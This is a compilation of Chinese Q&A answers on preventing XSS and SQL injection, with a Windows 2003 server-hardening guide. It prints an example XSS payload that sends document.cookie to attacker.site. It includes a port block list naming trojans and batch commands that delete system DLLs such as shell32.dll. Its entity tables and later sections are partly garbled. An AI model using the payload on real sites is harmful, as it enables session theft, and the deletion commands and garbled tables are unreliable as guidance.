防禦跨站腳本
1. 如何實現php的安全最大化怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞
使用php安全模式
伺服器要做好管理，賬號許可權是否合理。
假定所有用戶的輸入都是「惡意」的，防止XSS攻擊，譬如：對用戶的輸入輸出做好必要的過濾
防止CSRF，表單設置隱藏域，post一個隨機字元串到後台，可以有效防止跨站請求偽造。
防禦SQL注入。
避免SQL注入漏洞
1.使用預編譯語句
2.使用安全的存儲過程
3.檢查輸入數據的數據類型
4.從資料庫自身的角度考慮，應該使用最小許可權原則，不可使用root或dbowner的身份連接資料庫。若多個應用使用同一個資料庫，也應該為資料庫分配不同的賬戶。web應用使用的資料庫賬戶，不應該有創建自定義函數，操作本地文件的許可權。
避免XSS跨站腳本攻擊
1.假定所有用戶輸入都是「邪惡」的
2.考慮周全的正則表達式
3.為cookie設置HttpOnly,防止cookie劫持
4.外部js不一定可靠
5.出去不必要的HTML注釋
6. 針對非法的HTML代碼包括單雙引號等，使用htmlspecialchars()函數。
2. 如何正確防禦xss攻擊
防禦xss攻擊需要重點掌握以下原則：
在將不可信數據插入到HTML標簽之間時，對這些數據進行HTMLEntity編碼。
在將不可信數據插入到HTML屬性里時，對這些數據進行HTML屬性編碼。
在將不可信數據插入到SCRIPT里時，對這些數據進行SCRIPT編碼。
在將不可信數據插入到Style屬性里時，對這些數據進行CSS編碼。
在將不虧棗可信數據插入到HTMLURL里時，對這些數據進行URL編碼。
使用富文本時，使用XSS規則引擎進行編碼過濾
3. 如何防止跨站攻擊~~~
除了自身的硬體條件外,還需要對你的伺服器做出安全設置控制,用2003系統來說下具體安全設置如下:
1、伺服器安全設置之--硬碟許可權篇
這里著重談需要的許可權，也就是最終文件夾或硬碟需要的許可權，可以防禦各種木馬入侵，提權攻擊，跨站攻擊等。本實例經過多次試驗，安全性能很好，伺服器基本沒有被木馬威脅的擔憂了。
硬碟或文件夾: C:\ D:\ E:\ F:\ 類推
主要許可權部分：
Administrators 完全控制 無
該文件夾，子文件夾及文件
<不是繼承的>
CREATOR OWNER 完全控制
只有子文件夾及文件
<不是繼承的>
SYSTEM 完全控制
該文件夾，子文件夾及文件
<不是繼承的>
其他許可權部分：
如果安裝了其他運行環境，比如PHP等，則根據PHP的環境功能要求來設置硬碟許可權，一般是安裝目錄加上users讀取運行許可權就足夠了，比如c:\php的話，就在根目錄許可權繼承的情況下加上users讀取運行許可權，需要寫入數據的比如tmp文件夾，則把users的寫刪許可權加上，運行許可權不要，然後把虛擬主機用戶的讀許可權拒絕即可。如果是mysql的話，用一個獨立用戶運行MYSQL會更安全，下面會有介紹。如果是winwebmail，則最好建立獨立的應用程序池和獨立IIS用戶，然後整個安裝目錄有users用戶的讀/運行/寫/許可權，IIS用戶則相同，這個IIS用戶就只用在winwebmail的WEB訪問中，其他IIS站點切勿使用
硬碟設置需要根據你的實際需要來設置許可權！
2、伺服器安全設置之--系統服務篇(設置完畢需要重新啟動)
*除非特殊情況非開不可，下列系統服務要停止並禁用：
1、Alerter 2、Application Layer Gateway Service 3、
Background Intelligent Transfer Service
4、Computer Browser 5、Distributed File System 6、Help and Support 7、Messenger 8、NetMeeting Remote Desktop Sharing 9、Print Spooler 10、Remote Registry 11、Task Scheler 12、TCP/IP NetBIOS Helper 13、Telnet 14、Workstation 以上是windows2003server標准服務當中需要停止的服務，作為IIS網路伺服器，以上服務務必要停止，如果需要SSL證書服務，則設置方法不同。如果你裝有虛擬主機系統，設置當然也不一樣！更詳細設置可以根據自己的需要找更詳細的參考資料。
3、伺服器安全設置之--組件安全設置篇 (非常重要！！！)
A、卸載WScript.Shell 和 Shell.application 組件，將下面的代碼保存為一個.BAT文件執行（分2000和2003系統）
win2000
regsvr32/u C:\WINNT\System32\wshom.ocx
del C:\WINNT\System32\wshom.ocx
regsvr32/u C:\WINNT\system32\shell32.dll
del C:\WINNT\system32\shell32.dll
win2003
regsvr32/u C:\WINDOWS\System32\wshom.ocx
del C:\WINDOWS\System32\wshom.ocx
regsvr32/u C:\WINDOWS\system32\shell32.dll
del C:\WINDOWS\system32\shell32.dll
B、改名不安全組件，需要注意的是組件的名稱和Clsid都要改，並且要改徹底了，不要照抄，要自己改
【開始→運行→regedit→回車】打開注冊表編輯器
然後【編輯→查找→填寫Shell.application→查找下一個】
用這個方法能找到兩個注冊表項：
{13709620-C279-11CE-A49E-444553540000} 和 Shell.application 。
第一步：為了確保萬無一失，把這兩個注冊表項導出來，保存為xxxx.reg 文件。
第二步：比如我們想做這樣的更改
13709620-C279-11CE-A49E-444553540000 改名為 13709620-C279-11CE-A49E-444553540001
Shell.application 改名為 Shell.application_nohack
第三步：那麼，就把剛才導出的.reg文件里的內容按上面的對應關系替換掉，然後把修改好的.reg文件導入到注冊表中（雙擊即可），導入了改名後的注冊表項之後，別忘記了刪除原有的那兩個項目。這里需要注意一點，Clsid中只能是十個數字和ABCDEF六個字母。
其實，只要把對應注冊表項導出來備份，然後直接改鍵名就可以了。
WScript.Shell 和 Shell.application 組件是 腳本入侵過程中，提升許可權的重要環節，這兩個組件的卸載和修改對應注冊鍵名，可以很大程度的提高虛擬主機的腳本安全性能，一般來說，ASP和php類腳本提升許可權的功能是無法實現了，再加上一些系統服務、硬碟訪問許可權、埠過濾、本地安全策略的設置，虛擬主機因該說，安全性能有非常大的提高，黑客入侵的可能性是非常低了。注銷了Shell組件之後，侵入者運行提升工具的可能性就很小了，但是prel等別的腳本語言也有shell能力，為防萬一，還是設置一下為好。下面是另外一種設置，大同小異。
一、禁止使用FileSystemObject組件
FileSystemObject可以對文件進行常規操作,可以通過修改注冊表，將此組件改名，來防止此類木馬的危害。
HKEY_CLASSES_ROOT\Scripting.FileSystemObject\
改名為其它的名字，如：改為 FileSystemObject_ChangeName
自己以後調用的時候使用這個就可以正常調用此組件了
也要將clsid值也改一下
HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\項目的值
也可以將其刪除，來防止此類木馬的危害。
2000注銷此組件命令：RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll
2003注銷此組件命令：RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll
如何禁止Guest用戶使用scrrun.dll來防止調用此組件？
使用這個命令：cacls C:\WINNT\system32\scrrun.dll /e /d guests
二、禁止使用WScript.Shell組件
WScript.Shell可以調用系統內核運行DOS基本命令
可以通過修改注冊表，將此組件改名，來防止此類木馬的危害。
HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\
改名為其它的名字，如：改為WScript.Shell_ChangeName 或 WScript.Shell.1_ChangeName
自己以後調用的時候使用這個就可以正常調用此組件了
也要將clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\項目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\項目的值
也可以將其刪除，來防止此類木馬的危害。
三、禁止使用Shell.Application組件
Shell.Application可以調用系統內核運行DOS基本命令
可以通過修改注冊表，將此組件改名，來防止此類木馬的危害。
HKEY_CLASSES_ROOT\Shell.Application\
及
HKEY_CLASSES_ROOT\Shell.Application.1\
改名為其它的名字，如：改為Shell.Application_ChangeName 或 Shell.Application.1_ChangeName
自己以後調用的時候使用這個就可以正常調用此組件了
也要將clsid值也改一下
HKEY_CLASSES_ROOT\Shell.Application\CLSID\項目的值
HKEY_CLASSES_ROOT\Shell.Application\CLSID\項目的值
也可以將其刪除，來防止此類木馬的危害。
禁止Guest用戶使用shell32.dll來防止調用此組件。
2000使用命令：cacls C:\WINNT\system32\shell32.dll /e /d guests
2003使用命令：cacls C:\WINDOWS\system32\shell32.dll /e /d guests
註：操作均需要重新啟動WEB服務後才會生效。
四、調用Cmd.exe
禁用Guests組用戶調用cmd.exe
2000使用命令：cacls C:\WINNT\system32\Cmd.exe /e /d guests
2003使用命令：cacls C:\WINDOWS\system32\Cmd.exe /e /d guests
通過以上四步的設置基本可以防範目前比較流行的幾種木馬，但最有效的辦法還是通過綜合安全設置，將伺服器、程序安全都達到一定標准，才可能將安全等級設置較高，防範更多非法入侵。
C、防止Serv-U許可權提升 (適用於 Serv-U6.0 以前版本，之後可以直接設置密碼)
先停掉Serv-U服務
用Ultraedit打開ServUDaemon.exe
查找 Ascii：LocalAdministrator 和 #l@$ak#.lk;0@P
修改成等長度的其它字元就可以了，ServUAdmin.exe也一樣處理。
另外注意設置Serv-U所在的文件夾的許可權，不要讓IIS匿名用戶有讀取的許可權，否則人家下走你修改過的文件，照樣可以分析出你的管理員名和密碼。
4、伺服器安全設置之--IIS用戶設置方法
不同站點使用不用的IIS用戶。另外許可權的設置要細致。
5、伺服器安全設置之--伺服器安全和性能配置
把下面文本保存為: windows2000-2003伺服器安全和性能注冊表自動配置文件.reg 運行即可。[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRecentDocsMenu"=hex:01,00,00,00
"NoRecentDocsHistory"=hex:01,00,00,00
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"DontDisplayLastUserName"="1"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"restrictanonymous"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Parameters]
"AutoShareServer"=dword:00000000
"AutoShareWks"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"EnableICMPRedirect"=dword:00000000
"KeepAliveTime"=dword:000927c0
"SynAttackProtect"=dword:00000002
"TcpMaxHalfOpen"=dword:000001f4
"TcpMaxHalfOpenRetried"=dword:00000190
""=dword:00000001
"TcpMaxDataRetransmissions"=dword:00000003
"TCPMaxPortsExhausted"=dword:00000005
"DisableIPSourceRouting"=dword:00000002
"TcpTimedWaitDelay"=dword:0000001e
"TcpNumConnections"=dword:00004e20
"EnablePMTUDiscovery"=dword:00000000
"NoNameReleaseOnDemand"=dword:00000001
"EnableDeadGWDetect"=dword:00000000
"PerformRouterDiscovery"=dword:00000000
"EnableICMPRedirects"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
"BacklogIncrement"=dword:00000005
"MaxConnBackLog"=dword:000007d0
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters]
"EnableDynamicBacklog"=dword:00000001
"MinimumDynamicBacklog"=dword:00000014
"MaximumDynamicBacklog"=dword:00007530
"DynamicBacklogGrowthDelta"=dword:0000000a
功能：可抵禦DDOS攻擊2-3萬包，提高伺服器TCP-IP整體安全性能（效果等於軟體防火牆，節約了系統資源）
6、伺服器安全設置之--IP安全策略 (僅僅列出需要屏蔽或阻止的埠或協議)
協議 IP協議埠 源地址 目標地址 描述 方式
ICMP -- -- -- ICMP 阻止
UDP 135 任何IP地址 我的IP地址 135-UDP 阻止
UDP 136 任何IP地址 我的IP地址 136-UDP 阻止
UDP 137 任何IP地址 我的IP地址 137-UDP 阻止
UDP 138 任何IP地址 我的IP地址 138-UDP 阻止
UDP 139 任何IP地址 我的IP地址 139-UDP 阻止
TCP 445 任何IP地址-從任意埠 我的IP地址-445 445-TCP 阻止
UDP 445 任何IP地址-從任意埠 我的IP地址-445 445-UDP 阻止
UDP 69 任何IP地址-從任意埠 我的IP地址-69 69-入 阻止
UDP 69 我的IP地址-69 任何IP地址-任意埠 69-出 阻止
TCP 4444 任何IP地址-從任意埠 我的IP地址-4444 4444-TCP 阻止
TCP 1026 我的IP地址-1026 任何IP地址-任意埠 灰鴿子-1026 阻止
TCP 1027 我的IP地址-1027 任何IP地址-任意埠 灰鴿子-1027 阻止
TCP 1028 我的IP地址-1028 任何IP地址-任意埠 灰鴿子-1028 阻止
UDP 1026 我的IP地址-1026 任何IP地址-任意埠 灰鴿子-1026 阻止
UDP 1027 我的IP地址-1027 任何IP地址-任意埠 灰鴿子-1027 阻止
UDP 1028 我的IP地址-1028 任何IP地址-任意埠 灰鴿子-1028 阻止
TCP 21 我的IP地址-從任意埠 任何IP地址-到21埠 阻止tftp出站 阻止
TCP 99 我的IP地址-99 任何IP地址-任意埠 阻止99shell 阻止
以上是IP安全策略里的設置，可以根據實際情況，增加或刪除埠
7、伺服器安全設置之--本地安全策略設置
安全策略自動更新命令：GPUpdate /force (應用組策略自動生效不需重新啟動)
開始菜單—>管理工具—>本地安全策略
A、本地策略——>審核策略
審核策略更改 成功 失敗
審核登錄事件 成功 失敗
審核對象訪問 失敗
審核過程跟蹤 無審核
審核目錄服務訪問 失敗
審核特權使用 失敗
審核系統事件 成功 失敗
審核賬戶登錄事件 成功 失敗
審核賬戶管理 成功 失敗
B、本地策略——>用戶許可權分配
關閉系統：只有Administrators組、其它全部刪除。
通過終端服務拒絕登陸：加入Guests、User組
通過終端服務允許登陸：只加入Administrators組，其他全部刪除
C、本地策略——>安全選項
互動式登陸：不顯示上次的用戶名 啟用
網路訪問：不允許SAM帳戶和共享的匿名枚舉 啟用
網路訪問：不允許為網路身份驗證儲存憑證 啟用
網路訪問：可匿名訪問的共享 全部刪除
網路訪問：可匿名訪問的命 全部刪除
網路訪問：可遠程訪問的注冊表路徑 全部刪除
網路訪問：可遠程訪問的注冊表路徑和子路徑 全部刪除
帳戶：重命名來賓帳戶 重命名一個帳戶
帳戶：重命名系統管理員帳戶 重命名一個帳戶
還有很多設置！你可以多找找資料！
4. 如何防止跨站點腳本攻擊
你好~
XSS漏洞產生的原因：
跨站點腳本的主要原因是程序猿對用戶的信任。開發人員輕松地認為用戶永遠不會試圖執行什麼出格的事情,所以他們創建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體，用製造出一種行之有效的XSS過濾器是一件比較困難的事情。
但是這只是相對的，對用戶輸入數據的」編碼」和」過濾」在任何時候都是很重要的，我們必須採取一些針對性的手段對其進行防禦。
如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊代碼
1 .需要重點」編碼」和」過濾」的對象
The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data
防禦XSS有一個原則:
以當前的應用系統為中心，所有的進入應用系統的數據都看成是輸入數據(包括從FORM表單或者從資料庫獲取到的數據)，所有從當前應用系統流出的數據都看作是輸出(包括輸出到用戶瀏覽器或向資料庫寫入數據)
對輸入的數據進行」過濾」，對輸出數據進行」編碼」。這里的」編碼」也要注意，必須針對數據具體的上下文語境進行針對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode，如果數據是輸出到javascript代碼中進行拼接的，那就要進行javascriptEncode。
如果不搞清楚數據具體輸出的語境，就有可能因為HtmlParser()和javascriptParser()兩種解析引擎的執行先後問題導致看似嚴密的」編碼」形同虛設。
2. HtmlEncode HTML編碼
它的作用是將字元轉換成HTMLEntities，對應的標準是ISO-8859-1
為了對抗XSS，在HtmlEncode中要求至少轉換以下字元:
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
在PHP中:
htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp
htmlspecialchars
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
3. javascriptEncode javascript」編碼」
javascriptEncode與HtmlEncode的編碼方法不同，HtmlEncode是去編碼，而javascriptEncode更多的像轉義，它需要使用」\」對特殊字元進行轉義。從原理上來講，這都符合編碼函數的一個大原則: 將數據和代碼區分開，因為對於HTML Tag來說，我們對其進行」可視化(轉換成可以見字元)」的編碼可以將數據和HTML的界限分開。而對於javascript來說，我們除了要進行編碼之外，還需要對特殊字元進行轉義，這樣攻擊輸入的用於」閉合」的特殊字元就無法發揮作用，從而避免XSS攻擊，除此之外，在對抗XSS時，還要求輸出的變數必須在引號內部，以避免造成安全問題。
escape()
http://www.w3school.com.cn/js/jsref_escape.asp
該方法不會對 ASCII 字母和數字進行編碼，也不會對下面這些 ASCII 標點符號進行編碼： * @ – _ + . / 。其他所有的字元都會被轉義序列(十六進制\xHH)替換。
利用這個編碼函數，不僅能防禦XSS攻擊，還可以防禦一些command注入。
一些開源的防禦XSS攻擊的代碼庫：
PHP AntiXSS
這是一個不錯的PHP庫,可以幫助開發人員增加一層保護，防止跨站腳本漏洞。
https://code.google.com/p/php-antixss/
xss_clean.php filter
https://gist.github.com/mbijon/1098477
HTML Purifier
http://htmlpurifier.org/
xssprotect
https://code.google.com/p/xssprotect/
XSS HTML Filter
http://finn-no.github.io/xss-html-filter/
原文地址：http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/
希望可以幫助到你~望採納哦~謝謝~
5. XSS攻擊的定義，類型以及防禦方法
XXS攻擊全稱跨站腳本攻擊，是一種在Web應用中的計算機安全漏洞，它允許惡意Web用戶將代碼植入到提供給其他使用的頁面中。
XSS攻擊有哪幾種類型?下面就由銳速雲的小編為大家介紹一下
經常見到XSS攻擊有三種：反射XSS攻擊、DOM-based型XSS攻擊以及儲存型XSS攻擊。
[if !supportLists]1、[endif]反射型XSS攻擊
反射性XSS一般是攻擊者通過特定手法(如電子郵件)，誘使用戶去訪問一個包含惡意代碼的URL，當受害者點擊這些專門設計鏈接的時候，惡意代碼會直接在受害主機上的瀏覽器上執行，反射型XSS通常出現在網站搜索欄，用戶登入口等地方，常用來竊取客戶端或進行釣魚欺騙。
[if !supportLists]2、[endif]存儲型XSS攻擊
存儲型XSS攻擊也叫持久型XSS，主要將XSS代碼提交儲存在伺服器端(資料庫，內存，文件系統等)下次請求目標頁面時不用在提交XSS代碼。當目標用戶訪問該頁面獲取數據時，XSS代碼會從伺服器解析之後載入出來，返回到瀏覽器做正常的HTML和JS解析執行，XSS攻擊就發生了。儲存型XSS一般出現在網站留言，評論，博客日誌等交互處，惡意腳本儲存到客戶端或者服務端的資料庫中。
[if !supportLists]3、[endif]DOM-based型XSS攻擊
DOM-based型XSS攻擊它是基於DOM的XSS攻擊是指通過惡意腳本修改頁面的DOM結構，是純粹發生在客戶端的攻擊。DOM型XSS攻擊中，取出和執行惡意代碼由瀏覽器端完成，屬於前端JavaScript自身的安全漏洞。
如何防禦XSS攻擊?
[if !supportLists]1、[endif]對輸入內容的特定字元進行編碼，列如表示html標記<>等符號。
[if !supportLists]2、[endif]對重要的cookie設置httpOnly，防止客戶端通過document。cookie讀取cookie，此HTTP開頭由服務端設置。
[if !supportLists]3、[endif]將不可信的輸出URT參數之前，進行URLEncode操作，而對於從URL參數中獲取值一定要進行格式檢查
[if !supportLists]4、[endif]不要使用Eval來解析並運行不確定的數據或代碼，對於JSON解析請使用JSON。Parse()方法
[if !supportLists]5、[endif]後端介面也應該要做到關鍵字元過濾的問題。
6. 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法：
1.輸入過濾
對每一個用戶的輸入或者請求首部，都要進行過濾。這需要程序員有良好的安全素養，而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題，如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2.輸出過濾
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉，這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安裝三方的應用防火牆，可以攔截css攻擊。
附：
跨站腳本不像其他攻擊只包含兩個部分：攻擊者和web站點。
跨站腳本包含三個部分：攻擊者，客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies，或者其他可以證明用戶身份的敏感信息。
攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行，這不具有破壞作用，但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下：
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站，這樣攻擊者就得到了客戶的cookie。
7. 如何防範XSS跨站腳本攻擊測試篇
不可信數據 不可信數據通常是來自HTTP請求的數據，以URL參數、表單欄位、標頭或者Cookie的形式。不過從安全形度來看，來自資料庫、網路伺服器和其他來源的數據往往也是不可信的，也就是說，這些數據可能沒有完全通過驗證。 應該始終對不可信數據保持警惕，將其視為包含攻擊，這意味著在發送不可信數據之前，應該採取措施確定沒有攻擊再發送。由於應用程序之間的關聯不斷深化，下游直譯程序執行的攻擊可以迅速蔓延。 傳統上來看，輸入驗證是處理不可信數據的最好辦法，然而，輸入驗證法並不是注入式攻擊的最佳解決方案。首先，輸入驗證通常是在獲取數據時開始執行的，而此時並不知道目的地所在。這也意味著我們並不知道在目標直譯程序中哪些字元是重要的。其次，可能更加重要的是，應用程序必須允許潛在危害的字元進入，例如，是不是僅僅因為SQL認為Mr. O'Malley名字包含特殊字元他就不能在資料庫中注冊呢? 雖然輸入驗證很重要，但這始終不是解決注入攻擊的完整解決方案，最好將輸入攻擊作為縱深防禦措施，而將escaping作為首要防線。 解碼(又稱為Output Encoding) 「Escaping」解碼技術主要用於確保字元作為數據處理，而不是作為與直譯程序的解析器相關的字元。有很多不同類型的解碼，有時候也被成為輸出「解碼」。有些技術定義特殊的「escape」字元，而其他技術則包含涉及若干字元的更復雜的語法。 不要將輸出解碼與Unicode字元編碼的概念弄混淆了，後者涉及映射Unicode字元到位序列。這種級別的編碼通常是自動解碼，並不能緩解攻擊。但是，如果沒有正確理解伺服器和瀏覽器間的目標字元集，有可能導致與非目標字元產生通信，從而招致跨站XSS腳本攻擊。這也正是為所有通信指定Unicode字元編碼(字元集)(如UTF-8等)的重要所在。 Escaping是重要的工具，能夠確保不可信數據不能被用來傳遞注入攻擊。這樣做並不會對解碼數據造成影響，仍將正確呈現在瀏覽器中，解碼只能阻止運行中發生的攻擊。 注入攻擊理論 注入攻擊是這樣一種攻擊方式，它主要涉及破壞數據結構並通過使用特殊字元(直譯程序正在使用的重要數據)轉換為代碼結構。XSS是一種注入攻擊形式，瀏覽器作為直譯程序，攻擊被隱藏在HTML文件中。HTML一直都是代碼和數據最差的mashup，因為HTML有很多可能的地方放置代碼以及很多不同的有效編碼。HTML是很復雜的，因為它不僅是層次結構的，而且還包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻擊與XSS的關系，必須認真考慮HTML DOM的層次結構中的注入攻擊。在HTML文件的某個位置(即開發者允許不可信數據列入DOM的位置)插入數據，主要有兩種注入代碼的方式： Injecting UP，上行注入 最常見的方式是關閉現有的context並開始一個新的代碼context，例如，當你關閉HTML屬性時使用">並開始新的 可以終止腳本塊，即使該腳本塊被注入腳本內方法調用內的引用字元，這是因為HTML解析器在JavaScript解析器之前運行。 Injecting DOWN，下行注入 另一種不太常見的執行XSS注入的方式就是，在不關閉當前context的情況下，引入一個subcontext。例如，將改為 ，並不需要躲開HTML屬性context，相反只需要引入允許在src屬性內寫腳本的context即可。另一個例子就是CSS屬性中的expression()功能，雖然你可能無法躲開引用CSS屬性來進行上行注入，你可以採用x ss:expression(document.write(document.cookie))且無需離開現有context。 同樣也有可能直接在現有context內進行注入，例如，可以採用不可信的輸入並把它直接放入JavaScript context。這種方式比你想像的更加常用，但是根本不可能利用escaping(或者任何其他方式)保障安全。從本質上講，如果這樣做，你的應用程序只會成為攻擊者將惡意代碼植入瀏覽器的渠道。 本文介紹的規則旨在防止上行和下行XSS注入攻擊。防止上行注入攻擊，你必須避免那些允許你關閉現有context開始新context的字元;而防止攻擊跳躍DOM層次級別，你必須避免所有可能關閉context的字元;下行注入攻擊，你必須避免任何可以用來在現有context內引入新的sub-context的字元。 積極XSS防禦模式 本文把HTML頁面當作一個模板，模板上有很多插槽，開發者允許在這些插槽處放置不可信數據。在其他地方放置不可信數據是不允許的，這是「白名單」模式，否認所有不允許的事情。 根據瀏覽器解析HTML的方式的不同，每種不同類型的插槽都有不同的安全規則。當你在這些插槽處放置不可信數據時，必須採取某些措施以確保數據不會「逃離」相應插槽並闖入允許代碼執行的context。從某種意義上說，這種方法將HTML文檔當作參數化的資料庫查詢，數據被保存在具體文職並與escaping代碼context相分離。 本文列出了最常見的插槽位置和安全放置數據的規則，基於各種不同的要求、已知的XSS載體和對流行瀏覽器的大量手動測試，我們保證本文提出的規則都是安全的。 定義好插槽位置，開發者們在放置任何數據前，都應該仔細分析以確保安全性。瀏覽器解析是非常棘手的，因為很多看起來無關緊要的字元可能起著重要作用。 為什麼不能對所有不可信數據進行HTML實體編碼? 可以對放入HTML文檔正文的不可行數據進行HTML實體編碼，如 標簽內。也可以對進入屬性的不可行數據進行實體編碼，尤其是當屬性中使用引用符號時。但是HTML實體編碼並不總是有效，例如將不可信數據放入 directlyinascript insideanHTMLcomment inanattributename <...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/> inatagname 更重要的是，不要接受來自不可信任來源的JavaScript代碼然後運行，例如，名為「callback」的參數就包含JavaScript代碼段，沒有解碼能夠解決。 No.2 – 在向HTML元素內容插入不可信數據前對HTML解碼 這條規則適用於當你想把不可信數據直接插入HTML正文某處時，這包括內部正常標簽(div、p、b、td等)。大多數網站框架都有HTML解碼的方法且能夠躲開下列字元。但是，這對於其他HTML context是遠遠不夠的，你需要部署其他規則。 ...... ...... 以及其他的HTML常用元素 使用HTML實體解碼躲開下列字元以避免切換到任何執行內容，如腳本、樣式或者事件處理程序。在這種規格中推薦使用十六進制實體，除了XML中5個重要字元(&、<、 >、 "、 ')外，還加入了斜線符，以幫助結束HTML實體。 &-->& <-->< >-->> "-->" '-->''isnotrecommended /-->/ ESAPI參考實施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常見屬性插入不可信數據前進行屬性解碼 這條規則是將不可信數據轉化為典型屬性值(如寬度、名稱、值等)，這不能用於復雜屬性(如href、src、style或者其他事件處理程序)。這是及其重要的規則，事件處理器屬性(為HTML JavaScript Data Values)必須遵守該規則。 content insidesinglequotedattribute 除了字母數字字元外，使用小於256的ASCII值&#xHH格式(或者命名的實體)對所有數據進行解碼以防止切換屬性。這條規則應用廣泛的原因是因為開發者常常讓屬性保持未引用，正確引用的屬性只能使用相應的引用進行解碼。未引用屬性可以被很多字元破壞，包括[space] % * + , - / ; < = > ^ 和 |。 ESAPI參考實施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信數據前，進行JavaScript解碼 這條規則涉及在不同HTML元素上制定的JavaScript事件處理器。向這些事件處理器放置不可信數據的唯一安全位置就是「data value」。在這些小代碼塊放置不可信數據是相當危險的，因為很容易切換到執行環境，因此請小心使用。
8. 跨站腳本攻擊的XSS防禦規則
下列規則旨在防止所有發生在應用程序的XSS攻擊，雖然這些規則不允許任意向HTML文檔放入不可信數據，不過基本上也涵蓋了絕大多數常見的情況。你不需要採用所有規則，很多企業可能會發現第一條和第二條就已經足以滿足需求了。請根據自己的需求選擇規則。 – 不要在允許位置插入不可信數據
第一條規則就是拒絕所有數據，不要將不可信數據放入HTML文檔，除非是下列定義的插槽。這樣做的理由是在理列有解碼規則的HTML中有很多奇怪的context，讓事情變得很復雜，因此沒有理由將不可信數據放在這些context中。
<script>...NEVERPUTUNTRUSTEDDATAHERE...</script>directlyinascript<!--...NEVERPUTUNTRUSTEDDATAHERE...-->insideanHTMLcomment<div...NEVERPUTUNTRUSTEDDATAHERE...=test/>inanattributename<...NEVERPUTUNTRUSTEDDATAHERE...href=/test/>inatagname
